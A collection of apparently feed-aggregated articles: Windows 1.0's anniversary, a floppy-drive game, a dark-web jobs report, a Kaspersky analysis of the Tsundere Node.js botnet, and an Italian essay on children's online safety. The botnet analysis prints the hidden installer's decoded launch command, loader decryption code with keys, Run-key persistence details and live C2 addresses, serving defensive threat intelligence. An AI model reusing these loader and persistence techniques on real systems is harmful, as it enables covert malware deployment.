L’interfaccia appariva insolita persino per gli standard degli anni ’80. In Windows 1.0, le finestre non potevano essere sovrapposte liberamente: erano rigorosamente affiancate sullo schermo. L’utente controllava il sistema principalmente con il mouse, selezionando le voci di menu e trascinando gli elementi, sebbene i menu stessi funzionassero in modo strano e richiedessero di tenere premuto il pulsante del mouse.

Ma anche allora, Microsoft stava già definendo i principi che in seguito si sarebbero evoluti nel modello desktop che conosciamo.

Windows 1.0 includeva una suite di applicazioni sorprendentemente riconoscibili ancora oggi. Agli utenti venivano offerti Paintbrush, l’antenato dell’odierno Paint, Blocco note, l’editor di testo Write, Calcolatrice, un orologio, un terminale, il database di schede Cardfile, gli appunti e un gestore di stampa. Queste applicazioni consentivano agli utenti di prendere semplici appunti, disegnare semplici grafici, stampare documenti ed eseguire più programmi contemporaneamente, sebbene con un multitasking molto limitato.

I requisiti hardware al momento del rilascio erano considerati piuttosto elevati. Per eseguire Windows 1.0 era necessario un processore Intel 8086 o 8088, almeno 256 kilobyte di RAM, una scheda grafica e due unità floppy disk a doppia faccia o un disco rigido. Molti recensori si sono lamentati del notevole rallentamento del sistema durante l’esecuzione di più applicazioni, soprattutto se il computer disponeva di una memoria inferiore ai 512 kilobyte consigliati. In confronto, l’attuale minimo di 4 gigabyte per Windows 11 sembra quasi un balzo in avanti.

Windows 1.0 ricevette un’accoglienza tiepida dal mercato. I critici ne notarono l’interfaccia lenta, la scarsa compatibilità con i programmi DOS esistenti e il numero limitato di applicazioni scritte specificamente per Windows. Rispetto ai sistemi grafici Apple già disponibili, il prodotto Microsoft appariva rudimentale e alcuni recensori paragonarono le sue prestazioni su un PC con 512 kilobyte di RAM a “melassa versata nell’Artico”, alludendo alla sua incredibile lentezza.
Desktop di Windows 2.0
Tuttavia, Microsoft non abbandonò l’idea. Nel giro di un paio d’anni, l’azienda rilasciò diversi aggiornamenti di Windows 1.x con supporto per nuovo hardware e layout di tastiera europei, per poi introdurre Windows 2.0 e il particolarmente riuscito Windows 3.0.

Queste versioni, da sole, resero l’interfaccia grafica dei PC IBM uno standard di fatto del settore e gettarono le basi per il vasto ecosistema software a cui ci siamo abituati negli anni ’90.
Desktop di Windows 3.0
Oggi, Windows 1.0 è ormai da tempo diventato un reperto da museo: emulatori del sistema vengono lanciati per nostalgia e curiosità, e la stessa Microsoft occasionalmente ricorda la sua prima interfaccia grafica attraverso Easter egg e progetti a tema, come la divertente app per Windows 1.11 basata sulla serie TV Stranger Things.

Ma molte idee e persino alcuni programmi di quell’epoca sono sopravvissuti fino a oggi, e il 40° anniversario ci ricorda quanto rapidamente siano cambiati sia i computer che la nostra comprensione di cosa dovrebbe essere un’interfaccia intuitiva in una sola generazione .

L'articolo Tanti auguri Windows! 40 anni di storia dei sistemi operativi e non sentirli proviene da Red Hot Cyber.

There’s a tactile joy to the humble 3.5″ floppy that no USB stick will ever match. It’s not just the way they thunk into place in a well-made drive, the eject button, too, is a tactile experience not to be missed. If you were a child in disk-drive days, you may have popped a disk in-and-out repeatedly just for the fun of it — and if you weren’t a child, and did it anyway, we’re not going to judge. [igor] has come up with a physical game called “Floppy Flopper” that provides an excuse to do just that en masse, and it looks like lots of fun.

It consists of nine working floppy drives in a 3×3 grid, all mounted on a hefty welded-steel frame. Each drive has an RGB LED above it. The name of the game is to swap floppies as quickly as possible so that the color of the floppy in the drive matches the color flashing above it. Each successful insertion is worth thirteen points, tracked on a lovely matrix display. Each round is faster than the last, until you miss the window or mix up colors in haste. That might make more sense if you watch the demo video below.

[igor] could have easily faked this with NFC tags, as we’ve seen floppy-like interfaces do, or perhaps just use a color sensor. But no, those nine drives are all in working order. In the interest of speed — this is a timed challenge, after all, and we don’t need a PC slowing it down — each floppy is given its own microcontroller. Rather than reading data off the disk, only the disk’s write-protect and density holes are checked. He’s only using R, G, and B for floppy colors, so those four bits are enough. Unfortunately [igor]’s collection of floppies is very professional — lots of black and grey — so he needed to use colored stickers instead of technicolor plastic.

The project is open source, if you happen to have a stack of floppy drives of your own. If you don’t, but still want to play, the area, the Floppy Flopper is being exhibited at RADIONA in Rijeka, Croatia until December 5th 2025. If you happen to be in the neighborhood, it might be worth a trip.

If we had a nickle for every physical game that used a floppy drive, we’d have two nickles just this year. Which isn’t a lot, but it’s kind of neat to see so long after the last diskettes came off the production lines.

youtube.com/embed/wWfkXNIbJLw?…

hackaday.com/2025/11/20/disket…

In 2022, we published our research examining how IT specialists look for work on the dark web. Since then, the job market has shifted, along with the expectations and requirements placed on professionals. However, recruitment and headhunting on the dark web remain active.

So, what does this job market look like today? This report examines how employment and recruitment function on the dark web, drawing on 2,225 job-related posts collected from shadow forums between January 2023 and June 2025. Our analysis shows that the dark web continues to serve as a parallel labor market with its own norms, recruitment practices and salary expectations, while also reflecting broader global economic shifts. Notably, job seekers increasingly describe prior work experience within the shadow economy, suggesting that for many, this environment is familiar and long-standing.

The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work. At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes.

While the shadow market contrasts with legal employment in areas such as contract formality and hiring speed, there are clear parallels between the two. Both markets increasingly prioritize practical skills over formal education, conduct background checks and show synchronized fluctuations in supply and demand.

Looking ahead, we expect the average age and qualifications of dark web job seekers to rise, driven in part by global layoffs. Ultimately, the dark web job market is not isolated — it evolves alongside the legitimate labor market, influenced by the same global economic forces.

In this report, you’ll find:

• Demographics of the dark web job seekers
• Their job preferences
• Top specializations on the dark web
• Job salaries
• Comparison between legal and shadow job markets

Read the full report (English, PDF)

securelist.com/dark-web-job-ma…

Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.
The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:
nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd
The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:
RunModulesSetup 1058 NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==
After Base64 decoding, the command appears as follows:
$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"
This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and nonce, and saves the decrypted files under different filenames.
encScriptPath = 'thoJahgqObmWWA2',
encConfigPath = '79juqlY2mETeQOc',
decScript = 'uB39hFJ6YS8L2Fd',
decConfig = '9s9IxB5AbDj4Pmw',
keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
const h = path.dirname(encScriptPath),
i = path.join(h, decScript),
j = path.join(h, decConfig)
decryptFile(encScriptPath, i, key, iv)
decryptFile(encConfigPath, j, key, iv)
The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

• ws: a WebSocket networking library
• ethers: a library for communicating with Ethereum
• pm2: a Node.js process management tool

Loader script installing the necessary toolset for Tsundere persistence and execution

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

The PowerShell infector creates a package file with the implant dependencies

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.
The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

• Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
• Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

Smart contract containing the Tsundere botnet WebSocket C2

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

Malware code for retrieval of C2 from the smart contract

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Bot handlers for communication

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
2. An AES key is transmitted immediately after the connection is established.
3. The bot sends an empty string to confirm receipt of the key.
4. The server then sends a nonce (IV), enabling the use of encrypted communication from that point on.
   Encryption is required for all subsequent communication.
5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
7. With the connection established, the client and server can exchange information freely.
   
   1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
   2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.

   
   

Tsundere communication process with the C2 via WebSockets

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

Tsundere bot evaluation code once functions are received from the C2

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

Tsundere botnet panel login

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

• Bots: a dashboard displaying the number of bots under the user’s control
• Settings: user settings and administrative functions
• Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
• Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
• Monero wallet: a wallet service that enables users to make deposits or withdrawals
• Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic

Tsundere botnet control panel, building system and market

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:
hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.
At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Russian being used throughout the code

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

123 Stealer C2 panel sharing Tsundere’s infrastructure and showcasing its author

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.
Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC

securelist.com/tsundere-node-j…

Oggi ricorre la Giornata Mondiale dell’Infanzia, fissata dall’ONU il 20 novembre per ricordare due atti fondamentali: la Dichiarazione dei Diritti del Fanciullo del 1959 e, trent’anni dopo, la Convenzione sui Diritti dell’Infanzia e dell’Adolescenza del 1989.

Un appuntamento che, ogni anno, rischia di diventare un gesto rituale, un promemoria sterile sul “diritto al futuro”.

Eppure il presente ci dice che la vera fragilità non sta nel futuro, ma nel modo in cui i bambini vivono oggi: in un ecosistema digitale che non è stato pensato per loro, non li protegge e li espone a rischi che non assomigliano più a niente di ciò che conoscevamo.

Un mondo adulto abitato da minori

Negli ultimi anni la ricerca internazionale, dai rapporti dell’OECD alla documentazione tecnica della Internet Watch Foundation, mostra con sempre maggiore chiarezza un fenomeno che continuiamo a non guardare con lucidità: i minori non sono più utenti occasionali. Sono immersi nella rete, dentro sistemi che funzionano per adulti e secondo logiche che ignorano completamente ciò che significa essere vulnerabili a undici o dodici anni.

Secondo l’OECD, nei paesi occidentali oltre il novantacinque per cento degli adolescenti accede a Internet ogni giorno, spesso più volte al giorno. Non si tratta semplicemente di “uso intensivo”, ma di un’esposizione costante a piattaforme dove identità e intenzioni non sono mai del tutto leggibili. La rete è diventata lo spazio principale di relazione, gioco, confronto e scoperta. Ma resta un ambiente progettato per massimizzare attenzione e permanenza, non per ridurre i rischi.

L’abuso che nasce dentro le relazioni

La Internet Watch Foundation, nel suo report 2023, ha analizzato 275.652 pagine web contenenti materiale di abuso sessuale su minori. Oltre il 92% di queste è stato classificato come “self-generated”: un termine che la stessa IWF definisce inadeguato, perché non riflette la realtà dei fatti. In molti casi i bambini vengono ingannati, manipolati, estorti o addirittura registrati a loro insaputa da qualcuno che non è fisicamente presente nella stanza.

È il segnale più chiaro della trasformazione in corso: l’abuso non arriva più da un luogo remoto, ma si infiltra nelle interazioni quotidiane, dentro applicazioni usate da tutti, dentro conversazioni che iniziano in modo innocuo e poi scivolano verso spazi sempre più privati. L’immagine del “predatore digitale” che si affaccia dall’esterno è superata. Oggi la minaccia si costruisce dall’interno delle relazioni, nelle chat dei videogiochi, nei social più popolari, in un ecosistema che rende semplice avvicinare, convincere, manipolare. Un ragazzino non deve cercare il rischio: è il rischio che trova lui, spesso travestito da normalità.

Un ecosistema criminale frammentato

Nel frattempo le reti criminali hanno adottato un modello operativo molto più frammentato rispetto al passato. Le indagini europee – dai rapporti IOCTA di Europol alla documentazione di INHOPE e IWF – mostrano che la vera trasformazione non riguarda più il contatto iniziale, ma ciò che accade dopo: una volta ottenuto il materiale, la sua circolazione segue una catena complessa, che attraversa livelli diversi della rete.

La raccolta avviene sempre più spesso in spazi intermedi, come chat private o servizi cloud, mentre la distribuzione si sposta verso circuiti chiusi o criptati, e solo in una fase successiva, quando necessario, negli strati meno accessibili della rete.

Questo meccanismo multilivello non riguarda l’adescamento, ma la diffusione, e riduce drasticamente la possibilità di intercettare tracce dirette. Ogni anomalia, per quanto minima, diventa un indizio prezioso.

L’esplosione silenziosa di Telegram

La portata del problema emerge anche da ciò che accade nelle piattaforme che consideriamo “ordinarie”. Negli ultimi giorni il canale ufficiale “Stop Child Abuse” di Telegram ha pubblicato una sequenza di aggiornamenti che difficilmente può essere ignorata: 1.998 gruppi e canali chiusi il 15 novembre, 1.937 il 16, 2.359 il 17. In tre giorni, più di seimila spazi dedicati alla condivisione o circolazione di materiale di abuso. Nel mese, la conta supera già le trentaseimila chiusure.

Non sono numeri del dark web, e non riguardano reti sotterranee. Sono gruppi visibili abbastanza da essere rilevati, segnalati e rimossi ogni giorno. La quantità non racconta solo la gravità. Racconta soprattutto la continuità: ogni rimozione è rimpiazzata da nuove aperture, con strutture che si ricostruiscono in poche ore, spesso automaticamente, spesso con gli stessi amministratori, spesso con gli stessi contenuti che migrano di stanza in stanza.

Questi dati mostrano con crudezza ciò che il dibattito pubblico fatica ancora a riconoscere: il problema non è confinato nelle periferie della rete. È parte integrante dell’infrastruttura digitale che usiamo tutti, tutti i giorni. Ed è proprio questa vicinanza – silenziosa, normalizzata, tecnicamente invisibile a chi non la cerca – che rende la protezione dell’infanzia un tema strutturale e non emergenziale.

Il lavoro invisibile che salva i bambini

In questo contesto, una parte cruciale del contrasto all’abuso resta quasi invisibile: l’identificazione delle vittime. È un lavoro silenzioso, fatto di dettagli – un oggetto sullo sfondo, un arredo ricorrente, un frammento visivo che riappare altrove – ricomposti fino a restituire un luogo, una situazione reale, una persona da proteggere.

Ed è qui che oggi si concentra gran parte dell’attività investigativa. Riconoscere una vittima permette molto più spesso di arrivare anche all’autore. Il contrario non è sempre vero: un account può essere identificato, ma i minori coinvolti restano senza nome, senza contesto, senza un perimetro di intervento.

Questo lavoro non produce annunci né operazioni spettacolari, ma risultati concreti. Ogni volta che un bambino viene localizzato, quasi sempre la traccia iniziale era un dettaglio che nessuno avrebbe notato. È un processo che non si vede; si vedono solo gli effetti.

L’IA che amplifica il danno senza che il minore agisca

A rendere il quadro ancora più complesso c’è l’introduzione massiva dell’intelligenza artificiale generativa. Non serve essere allarmisti per riconoscere che basta una singola immagine pubblica per creare, manipolare o distorcere contenuti che il minore non ha mai prodotto. Il danno non avviene più solo attraverso ciò che viene chiesto ai bambini, ma attraverso ciò che la tecnologia può costruire al posto loro. È una vulnerabilità che esiste anche quando il minore non compie nessuna azione.

Non è solo un problema educativo: è un problema di architettura

Tutto questo ci porta a un punto chiave: la protezione dei minori non è solo questione di educazione digitale. È, prima di tutto, una questione di architettura. Le piattaforme sono nate per incentivare la condivisione, non per prevenirne gli abusi. Gli algoritmi ottimizzano engagement, non sicurezza. I sistemi di segnalazione sono reattivi, non preventivi. E la risposta non può essere banalizzata con l’idea che basti un controllo dell’età, un accesso con SPID o un filtro all’ingresso. La vulnerabilità non nasce dal login: nasce da ciò che accade dentro le piattaforme, da come vengono modellate le interazioni, da quali dinamiche favoriscono o ignorano.

Ridurre la sicurezza dei bambini a un problema di autenticazione significa guardare la porta d’ingresso e ignorare tutto ciò che accade nelle stanze interne. La protezione reale si gioca nei processi invisibili: nei criteri con cui gli algoritmi decidono cosa mostrare, nei limiti imposti alle interazioni, nella capacità delle piattaforme di riconoscere comportamenti anomali prima che diventino danno.

Ripensare il digitale dalla base

Se la Giornata Mondiale dell’Infanzia ha ancora un senso, allora oggi deve diventare il momento in cui accettiamo che la rete non è un luogo neutrale e che i diritti dei bambini, nell’ambiente digitale, non possono essere consigliati: devono essere progettati. Finché le piattaforme continueranno a considerare i minori come utenti qualsiasi, finché gli algoritmi continueranno a trattare i loro comportamenti come segnali da ottimizzare, finché la moderazione resterà un tappabuchi e non una funzione strutturale, la vulnerabilità rimarrà sistemica.

L’infanzia digitale non è un’estensione dell’infanzia reale. È un terreno diverso, con rischi diversi, costruito su logiche che bambini e adolescenti non hanno gli strumenti per interpretare. E finché questa distanza non verrà colmata, continueremo a celebrare una ricorrenza che parla di diritti, mentre il mondo che abbiamo costruito li mette costantemente alla prova.

Come affrontare davvero il problema

Affrontare questo problema non significa solo “educare meglio i bambini”, né “mettere più controllo”, né pretendere che famiglie e scuole compensino limiti che non dipendono esclusivamente da loro.
Significa riprogettare il digitale in modo che i minori non siano più un effetto collaterale del sistema.

Vuol dire chiedere alle piattaforme trasparenza sugli algoritmi, limiti chiari sulle interazioni, controlli strutturali sulle dinamiche di contatto, moderazione che intervenga prima e non dopo. Vuol dire spostare la responsabilità su chi costruisce gli ambienti – non su chi li subisce. Vuol dire considerare l’infanzia non come un caso particolare, ma come una condizione di progetto, al pari della sicurezza informatica, della privacy o dell’accessibilità.

E, soprattutto, significa smettere di pensare che il rischio sia un incidente. Il rischio è una conseguenza del design.

La protezione dei minori nel digitale non è un gesto di cura: è un requisito tecnico.
E finché non verrà trattato come tale, continueremo a discutere di diritti mentre il sistema, semplicemente, non li contempla.

Punto di vista finale

Ogni volta che qualcuno dice “ma i ragazzi devono imparare a difendersi, ormai sono nativi digitali e più svegli di noi”, ricordo che nel 2025 un adolescente ha la stessa capacità esecutiva e di previsione delle conseguenze che aveva nel 1990.
È l’ambiente che è cambiato radicalmente, non la neurobiologia infantile.

Il digitale non è “nato cattivo”.
È nato senza considerare che ci sarebbero stati dentro anche loro.

Adesso lo sappiamo.
Non abbiamo più scuse.

L'articolo Giornata Mondiale dell’Infanzia: I bambini vivono nel digitale, ma il digitale non è stato progettato per loro proviene da Red Hot Cyber.